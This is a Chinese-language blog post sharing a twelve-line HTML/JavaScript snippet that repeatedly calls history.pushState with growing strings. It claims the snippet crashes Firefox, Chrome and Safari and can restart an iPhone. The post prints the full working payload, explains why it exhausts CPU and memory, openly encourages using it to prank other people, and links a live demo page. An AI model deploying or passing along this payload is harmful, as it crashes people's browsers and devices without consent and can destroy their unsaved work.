12行JavaScript代码分分钟让你浏览器崩溃iPhone重启

  • A+
所属分类:技术教程 运维教程

以下十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启!
代码如下:

  1. <html>
  2. <body>
  3. <script>
  4. var total="";
  5. for (var i=0;i<1000000;i++)
  6. {
  7.    total= total+i.toString();
  8.    history.pushState(0,0,total);
  9. }
  10. </script>
  11. </body>
  12. </html>

xcc运行这段代码后是这样的:

原理:
不停地向浏览器添加超长历史记录导致CPU、内存飙升。

你也可以用这来恶搞一下他人哦!

最后,你可以点击以下链接亲身体验下哦:www.huangxiansen.com/demo.html(请务必保存浏览器其它窗口的编辑任务)

avatar

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: